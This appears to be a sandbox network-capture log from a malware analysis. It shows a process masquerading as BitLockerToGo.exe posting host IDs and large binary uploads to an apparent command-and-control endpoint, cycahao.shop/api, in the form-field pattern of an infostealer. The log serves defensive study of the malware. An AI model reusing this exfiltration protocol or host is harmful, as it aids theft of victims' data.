2024-12-27 07:20:35 UTC	1369	IN	Data Raw: 66 54 39 74 37 65 48 71 66 44 43 2f 6a 55 56 4a 63 4c 42 47 31 34 4b 78 57 46 52 6b 34 38 2f 6b 63 78 5a 63 31 30 56 51 6f 2f 33 34 43 79 7a 4e 51 4d 79 35 78 5a 35 50 73 5a 32 42 74 36 64 52 6b 72 61 39 4d 4e 41 47 6d 67 42 44 55 75 6d 44 67 44 4e 32 32 56 30 75 4f 49 68 52 6d 6e 76 54 37 74 7a 6c 43 49 48 53 30 69 59 48 78 72 79 67 30 41 41 71 35 4e 49 48 58 52 62 6b 6b 6b 65 4d 66 72 72 74 36 65 48 73 48 44 4c 50 6a 4b 57 5a 38 4d 4b 32 41 48 4a 43 48 43 58 56 38 73 34 51 52 70 4c 73 59 34 48 47 63 78 78 39 44 78 33 74 34 4f 79 39 68 4d 71 4a 4d 48 79 67 56 30 4e 47 41 6b 61 35 30 66 46 6e 76 38 42 48 38 75 68 33 74 57 4a 6e 6d 45 77 75 50 5a 75 47 43 2b 6d 52 54 39 30 30 61 6d 4a 44 30 33 4c 54 51 38 31 41 46 4e 4f 4f 42 4b 49 48 69 41 4e 67 51 37 50 Data Ascii: fT9t7eHqfDC/jUVJcLBG14KxWFRk48/kcxZc10VQo/34CyzNQMy5xZ5PsZ2Bt6dRkra9MNAGmgBDUumDgDN22V0uOIhRmnvT7tzlCIHS0iYHxryg0AAq5NIHXRbkkkeMfrrt6eHsHDLPjKWZ8MK2AHJCHCXV8s4QRpLsY4HGcxx9Dx3t4Oy9hMqJMHygV0NGAka50fFnv8BH8uh3tWJnmEwuPZuGC+mRT900amJD03LTQ81AFNOOBKIHiANgQ7P
2024-12-27 07:20:35 UTC	1369	IN	Data Raw: 65 67 6b 2f 5a 32 30 6d 70 6e 77 4c 4c 54 57 70 2f 50 33 77 79 68 56 73 59 59 37 77 4b 5a 33 79 41 49 41 52 7a 66 4a 58 47 35 70 32 51 58 64 36 39 4a 39 7a 4b 55 4a 6b 4d 4b 6a 6f 76 44 42 58 51 54 6c 59 31 36 56 49 32 4c 6f 34 34 53 33 51 6e 76 70 53 6f 33 72 6b 51 32 5a 74 5a 6f 34 52 69 6d 78 51 30 4b 6a 59 6a 5a 75 4a 44 58 7a 72 34 56 44 42 68 67 44 59 45 4d 6a 2f 66 68 71 37 65 67 6b 2f 5a 32 30 6d 70 6e 77 4c 4c 54 57 70 2f 50 33 77 79 68 56 73 59 59 37 77 4b 5a 33 79 41 49 41 52 7a 66 4a 58 47 35 70 32 51 58 64 36 39 4a 39 7a 4b 55 4a 6b 4d 4b 6a 6f 76 66 51 58 7a 62 47 59 46 2b 30 63 70 59 4d 64 75 56 58 51 78 78 39 75 67 78 72 38 65 30 63 4d 6d 74 59 52 50 32 45 4a 36 47 43 4d 38 4a 63 4a 62 53 58 62 4a 53 69 42 76 31 6d 68 54 4f 7a 43 70 34 73 Data Ascii: egk/Z20mpnwLLTWp/P3wyhVsYY7wKZ3yAIARzfJXG5p2QXd69J9zKUJkMKjovDBXQTlY16VI2Lo44S3QnvpSo3rkQ2ZtZo4RimxQ0KjYjZuJDXzr4VDBhgDYEMj/fhq7egk/Z20mpnwLLTWp/P3wyhVsYY7wKZ3yAIARzfJXG5p2QXd69J9zKUJkMKjovfQXzbGYF+0cpYMduVXQxx9ugxr8e0cMmtYRP2EJ6GCM8JcJbSXbJSiBv1mhTOzCp4s
2024-12-27 07:20:35 UTC	1369	IN	Data Raw: 6a 35 59 61 36 38 4e 70 70 6a 63 6f 4b 6a 41 78 61 66 52 62 57 7a 76 67 51 32 63 67 67 47 41 45 62 44 2b 71 78 75 65 4f 68 52 37 58 77 78 57 37 6e 42 65 56 43 44 30 39 49 33 34 73 33 30 6f 59 4a 4b 42 64 5a 33 69 41 49 42 64 36 50 35 57 55 75 4e 37 42 55 4a 53 43 47 76 58 48 52 59 6f 63 4f 54 73 6a 64 52 58 37 59 45 6f 38 2f 6b 64 6c 58 38 31 38 55 69 46 38 6c 39 50 65 6f 4b 74 4d 6e 70 4d 61 75 65 68 51 6c 52 59 45 45 78 63 6a 4c 4e 55 50 66 6a 6a 34 52 32 63 67 67 47 41 45 62 44 2b 71 78 75 65 4f 68 52 79 31 68 42 54 33 68 45 6a 57 41 33 6f 37 59 47 70 34 69 77 31 4b 65 37 59 45 59 47 33 53 61 6b 49 33 61 59 53 54 33 71 43 72 54 4a 36 54 47 72 6e 31 57 70 77 4d 4c 79 34 77 4e 52 58 37 59 45 6f 38 2f 6b 64 6c 53 2f 6f 36 64 53 4a 38 68 39 72 6e 33 73 67 Data Ascii: j5Ya68NppjcoKjAxafRbWzvgQ2cggGAEbD+qxueOhR7XwxW7nBeVCD09I34s30oYJKBdZ3iAIBd6P5WUuN7BUJSCGvXHRYocOTsjdRX7YEo8/kdlX818UiF8l9PeoKtMnpMauehQlRYEExcjLNUPfjj4R2cggGAEbD+qxueOhRy1hBT3hEjWA3o7YGp4iw1Ke7YEYG3SakI3aYST3qCrTJ6TGrn1WpwMLy4wNRX7YEo8/kdlS/o6dSJ8h9rn3sg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49767	172.67.135.139	443	612	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:37 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=J0Q9FYNC6JDNKH0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: cycahao.shop
2024-12-27 07:20:37 UTC	12840	OUT	Data Raw: 2d 2d 4a 30 51 39 46 59 4e 43 36 4a 44 4e 4b 48 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 44 46 33 42 38 43 31 34 42 46 46 33 44 41 43 31 31 34 35 32 33 37 37 39 38 44 46 38 43 43 32 0d 0a 2d 2d 4a 30 51 39 46 59 4e 43 36 4a 44 4e 4b 48 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4a 30 51 39 46 59 4e 43 36 4a 44 4e 4b 48 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 56 49 4b 41 0d 0a 2d 2d 4a 30 51 39 46 59 Data Ascii: --J0Q9FYNC6JDNKH0Content-Disposition: form-data; name="hwid"ADF3B8C14BFF3DAC1145237798DF8CC2--J0Q9FYNC6JDNKH0Content-Disposition: form-data; name="pid"2--J0Q9FYNC6JDNKH0Content-Disposition: form-data; name="lid"hRjzG3--VIKA--J0Q9FY
2024-12-27 07:20:37 UTC	1039	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:20:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dj5dl32qic6mvqiv292i3dhn49; expires=Tue, 22-Apr-2025 01:07:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ETkgNtJqomj%2BrHLSVU7MgvbEnS%2B2jurWCCfF%2FNM%2BJ4khrmB6DDWU6S31FtVp3tFTCZqXik4h80JhpSrmEiKT6Mey5UK4T8GfKC%2BexfrAyK2Ja8QvBMPiURSxnv%2B7hWM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f878c90ff224380-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2076&min_rtt=2064&rtt_var=798&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2825&recv_bytes=13773&delivery_rate=1351226&cwnd=223&unsent_bytes=0&cid=3955d6eae75bda66&ts=827&x=0"
2024-12-27 07:20:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:20:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49773	172.67.135.139	443	612	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:39 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=L6ULRPNVME8B47K2AB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15104 Host: cycahao.shop
2024-12-27 07:20:39 UTC	15104	OUT	Data Raw: 2d 2d 4c 36 55 4c 52 50 4e 56 4d 45 38 42 34 37 4b 32 41 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 44 46 33 42 38 43 31 34 42 46 46 33 44 41 43 31 31 34 35 32 33 37 37 39 38 44 46 38 43 43 32 0d 0a 2d 2d 4c 36 55 4c 52 50 4e 56 4d 45 38 42 34 37 4b 32 41 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 36 55 4c 52 50 4e 56 4d 45 38 42 34 37 4b 32 41 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 56 49 4b 41 0d Data Ascii: --L6ULRPNVME8B47K2ABContent-Disposition: form-data; name="hwid"ADF3B8C14BFF3DAC1145237798DF8CC2--L6ULRPNVME8B47K2ABContent-Disposition: form-data; name="pid"2--L6ULRPNVME8B47K2ABContent-Disposition: form-data; name="lid"hRjzG3--VIKA
2024-12-27 07:20:40 UTC	1031	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:20:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=giojvg6kucnfednlc4jgqnn0uj; expires=Tue, 22-Apr-2025 01:07:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p8hnd82wO5W5N6IIL4QeaFDlasVzHSMJSOqeNyrpPqMKvHg2VGoL5mJUVsFWJIMuvg%2FPPhrTMJooFWCBpegY4zjzYOsqhpO6arnJpWLpRneplrIbIQsTqfcg%2FOf6I5k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f878c9f6ebc423e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1573&min_rtt=1569&rtt_var=598&sent=8&recv=19&lost=0&retrans=0&sent_bytes=2825&recv_bytes=16040&delivery_rate=1817050&cwnd=197&unsent_bytes=0&cid=d2eeac3d1522af69&ts=921&x=0"
2024-12-27 07:20:40 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:20:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49779	172.67.135.139	443	612	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:41 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TL14N08CP6A2HRYR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19950 Host: cycahao.shop
2024-12-27 07:20:41 UTC	15331	OUT	Data Raw: 2d 2d 54 4c 31 34 4e 30 38 43 50 36 41 32 48 52 59 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 44 46 33 42 38 43 31 34 42 46 46 33 44 41 43 31 31 34 35 32 33 37 37 39 38 44 46 38 43 43 32 0d 0a 2d 2d 54 4c 31 34 4e 30 38 43 50 36 41 32 48 52 59 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 54 4c 31 34 4e 30 38 43 50 36 41 32 48 52 59 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 56 49 4b 41 0d 0a 2d 2d 54 4c 31 Data Ascii: --TL14N08CP6A2HRYRContent-Disposition: form-data; name="hwid"ADF3B8C14BFF3DAC1145237798DF8CC2--TL14N08CP6A2HRYRContent-Disposition: form-data; name="pid"3--TL14N08CP6A2HRYRContent-Disposition: form-data; name="lid"hRjzG3--VIKA--TL1
2024-12-27 07:20:41 UTC	4619	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 Data Ascii: +?2+?2+?o?Mp5p_oI
2024-12-27 07:20:42 UTC	1036	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:20:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sf26fd2tposcna28hfa96ve30o; expires=Tue, 22-Apr-2025 01:07:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1iTELaU4qv9JKDImadleft0cKrg8PFg6je5iSflU7xD%2FJhzLzpvNR0Dye%2BzbBYvqcFu36W%2FRU2qVZQt%2FUjCI9XRbA6ndBR2vkn79ZYpxTcIZsrphZFqtNqmADihijw0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f878cadca9d7291-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1791&min_rtt=1784&rtt_var=684&sent=10&recv=24&lost=0&retrans=0&sent_bytes=2825&recv_bytes=20906&delivery_rate=1582655&cwnd=218&unsent_bytes=0&cid=f00c2f643d53bd79&ts=899&x=0"
2024-12-27 07:20:42 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:20:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49785	172.67.135.139	443	612	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:44 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DKXQRO7HMLDRBQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1203 Host: cycahao.shop
2024-12-27 07:20:44 UTC	1203	OUT	Data Raw: 2d 2d 44 4b 58 51 52 4f 37 48 4d 4c 44 52 42 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 44 46 33 42 38 43 31 34 42 46 46 33 44 41 43 31 31 34 35 32 33 37 37 39 38 44 46 38 43 43 32 0d 0a 2d 2d 44 4b 58 51 52 4f 37 48 4d 4c 44 52 42 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 44 4b 58 51 52 4f 37 48 4d 4c 44 52 42 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 56 49 4b 41 0d 0a 2d 2d 44 4b 58 51 52 4f 37 48 4d Data Ascii: --DKXQRO7HMLDRBQContent-Disposition: form-data; name="hwid"ADF3B8C14BFF3DAC1145237798DF8CC2--DKXQRO7HMLDRBQContent-Disposition: form-data; name="pid"1--DKXQRO7HMLDRBQContent-Disposition: form-data; name="lid"hRjzG3--VIKA--DKXQRO7HM
2024-12-27 07:20:44 UTC	1030	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:20:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ls89pqeucapruan2it6bmm06dt; expires=Tue, 22-Apr-2025 01:07:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EbvsGkQHDLCeD9P6atdiPDUuI2odQo2%2FDjGPzC8XOXMXony9onqpqgFz8oPRpkLVW%2Bkgex03KgnqYTdFu9ZzqyPihvifyUBfLnoGtaXQ2pX50QDzpUB4cezNkVcJbYc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f878cbd4a978c90-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3047&min_rtt=1820&rtt_var=1559&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2112&delivery_rate=1604395&cwnd=201&unsent_bytes=0&cid=261a76d5dd6b0c7b&ts=755&x=0"
2024-12-27 07:20:44 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:20:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49791	172.67.135.139	443	612	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:46 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JEIFV1BF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 557861 Host: cycahao.shop
2024-12-27 07:20:46 UTC	15331	OUT	Data Raw: 2d 2d 4a 45 49 46 56 31 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 44 46 33 42 38 43 31 34 42 46 46 33 44 41 43 31 31 34 35 32 33 37 37 39 38 44 46 38 43 43 32 0d 0a 2d 2d 4a 45 49 46 56 31 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 45 49 46 56 31 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 56 49 4b 41 0d 0a 2d 2d 4a 45 49 46 56 31 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 Data Ascii: --JEIFV1BFContent-Disposition: form-data; name="hwid"ADF3B8C14BFF3DAC1145237798DF8CC2--JEIFV1BFContent-Disposition: form-data; name="pid"1--JEIFV1BFContent-Disposition: form-data; name="lid"hRjzG3--VIKA--JEIFV1BFContent-Dispositi
2024-12-27 07:20:46 UTC	15331	OUT	Data Raw: f4 2b 74 4c a6 95 29 24 db a6 b1 ef ac 04 c2 d0 79 58 6b cf 72 0d 1b 23 1f b7 0f 48 a6 fd aa 74 1b ae 14 fc f4 16 19 e1 b2 21 62 02 f7 d3 ec 5c 8e 67 d4 9f ac 58 f3 fd b1 a9 d2 0d 96 73 3a cd 14 bf a4 b0 4b bf 78 9b 54 5b 25 b4 17 c0 8d 89 de 84 29 03 29 c1 ab 51 cd d5 9a 88 99 c2 46 68 f3 12 98 45 6e 8d 46 11 3b 5b 1b 84 d5 4f ba 24 65 16 4d fb 65 8d fa 52 ea 1e ae 9c fc 7c 02 24 a7 87 71 a9 cf 41 df b3 22 dd 06 19 f7 c0 02 57 7d ac 1a 7d 56 12 7c 67 97 72 fe 9d 63 ad 5b e9 81 57 bc 4b 7a 65 e0 35 ff a6 62 23 2c 7f 9a 6f 53 53 1e dd a5 05 d7 06 ec 8b 86 18 68 d6 4c 52 ad ce 08 21 df 0e 6c fe 46 99 92 c0 b3 f9 0b 17 d8 cf c7 3a 27 0c 34 bf 29 d7 b3 51 8d db 11 f3 3f cb a6 bc 54 52 4a 69 95 9f 2d db c1 52 68 77 ff bb e3 8c 24 f4 95 fb 1c 67 bd b7 43 af a5 Data Ascii: +tL)$yXkr#Ht!b\gXs:KxT[%))QFhEnF;[O$eMeR\|$qA"W}}V\|grc[WKze5b#,oSShLR!lF:'4)Q?TRJi-Rhw$gC
2024-12-27 07:20:46 UTC	15331	OUT	Data Raw: a4 13 96 e2 96 6d 9b 82 7f 2a 67 83 6f cd 3e d8 89 4f 7d a1 ae 8f 55 1d a1 15 1b ce 96 0c 0d 6a 7d e1 79 52 81 38 10 12 33 fd fd 6b 96 07 70 28 b0 8f 88 e8 23 9e 35 96 f0 10 68 4a a1 62 1e 6e 07 07 09 2e 8c 31 3f ce 85 7d 92 e3 d9 76 cb fd 66 a7 0d 8d 88 bd 72 20 14 62 25 95 df 58 68 1b 32 5e c4 12 15 83 63 34 5a f7 c8 5c 02 16 6f 76 7c e7 0f 4f eb 77 7f 30 6e af dd 30 9a 2e ee b6 7d 6e eb f1 55 63 ba 96 d5 52 fb c6 67 48 43 85 46 c6 c2 dd 83 2c 95 69 46 5e 95 76 35 bd 3e fa 7b 5e d0 bc f3 f4 53 c7 b4 a7 c1 23 d2 e2 6f ac 6c 7d ad b6 6b 6d b6 ae 23 28 a3 b4 c6 4f e2 8e fb de c4 90 da e3 c0 cc 80 62 84 1b 86 01 71 ed 44 a9 ee 73 7d f6 e6 6b 49 d6 2a 58 d2 c5 2d 0c dd 46 83 61 49 00 02 03 fe 05 34 c1 c9 34 0d 7b b0 d4 d0 a2 e2 aa 0d 7e 55 fe 5e 5f 82 c8 3d Data Ascii: mgo>O}Uj}yR83kp(#5hJbn.1?}vfr b%Xh2^c4Z\ov\|Ow0n0.}nUcRgHCF,iF^v5>{^S#ol}km#(ObqDs}kIX-FaI44{~U^_=
2024-12-27 07:20:46 UTC	15331	OUT	Data Raw: 13 40 be 38 5e f3 27 44 c9 d2 4b 45 42 19 42 cc 5b 69 20 d1 df ff d6 bd 2c c4 a1 48 64 cf 25 c5 61 f5 6f 80 b0 97 68 89 79 89 25 7e 99 94 5b e0 06 67 7e 42 4b 5e bb 84 e2 ca b9 a1 1d 22 ac 1f 41 6d 30 d2 13 03 94 fb 4e cc 4d 15 59 ea cd 25 15 ad 22 d1 39 7e f9 65 38 c9 d0 60 e1 1b de ad 54 80 b6 0f 63 dd ff 1d 15 e3 cc cb 9c da c8 3c 9c ff 7a bd bb 15 b8 78 be 95 00 e1 45 a7 c2 97 da f3 7e 65 dc bb d1 c6 b6 ed 14 b0 ed f7 64 cb f6 a4 08 19 27 1b 4d 45 3a 1b 92 64 b2 e4 8b 4a 00 ab 2c f2 a2 2f 6e d3 48 68 61 ba 7c 41 51 e2 94 8c 85 4d 88 27 cf a1 9c 96 09 90 8b cf 8f 47 f0 1b c7 92 66 b7 4f bf d9 c7 a9 45 95 b6 7b 82 67 b4 af 8d d9 b9 41 89 dd 3e 04 6e 3c 57 95 09 57 1a a1 9f d5 d7 44 65 2d 16 1f a2 95 4b b0 14 45 f6 ac 35 3c 22 5e 98 e4 be d3 9a 74 d7 20 Data Ascii: @8^'DKEBB[i ,Hd%aohy%~[g~BK^"Am0NMY%"9~e8`Tc<zxE~ed'ME:dJ,/nHha\|AQM'GfOE{gA>n<WWDe-KE5<"^t
2024-12-27 07:20:46 UTC	15331	OUT	Data Raw: 08 b1 59 b8 98 32 7a dd 67 d2 b1 b1 a5 cb 10 21 e7 1d 3a 6d 5e ba d6 1a 4f 72 87 0d 6a 32 a7 a3 1f d5 21 21 9f 87 67 6e 90 48 ad d7 e6 23 27 7b 25 b4 48 36 24 7a 72 8a 08 5b a4 f6 ec 02 26 e0 b5 7f 04 75 7a cf ec 43 2d 61 53 83 b5 de 9b 82 9b 3b ad bb c7 3b 9d 3b f4 12 41 b0 55 2a cc 56 e6 36 7c 43 24 97 1c 1b b2 70 88 38 da e2 d0 b8 1b 44 e9 4b b5 6e ed 54 9b 53 40 2c eb 42 7f 62 ff f4 4b 1d f0 a3 b7 21 46 95 f3 5e 46 a9 29 36 e1 99 ea a2 2f 4f 72 6c 16 ed 5b a4 3e 93 d4 ae cf fe fc a7 90 9a f1 12 b5 66 fd ae e3 86 65 4a a9 68 7a 7b 43 09 ef 7c 1a 75 ea 8a 5d e2 bc 1f af 21 6f af 54 a0 75 40 24 65 99 b8 ea 55 a2 bf 3d 71 f9 0a ef de d5 aa 81 e0 81 b3 33 b0 df 9d fe 12 8e 79 4e d5 84 f0 14 8c 28 81 7b 93 84 34 08 e8 7f 0f 77 3d 9d 75 46 f2 a0 49 0f da a5 Data Ascii: Y2zg!:m^Orj2!!gnH#'{%H6$zr[&uzC-aS;;;AU*V6\|C$p8DKnTS@,BbK!F^F)6/Orl[>feJhz{C\|u]!oTu@$eU=q3yN({4w=uFI
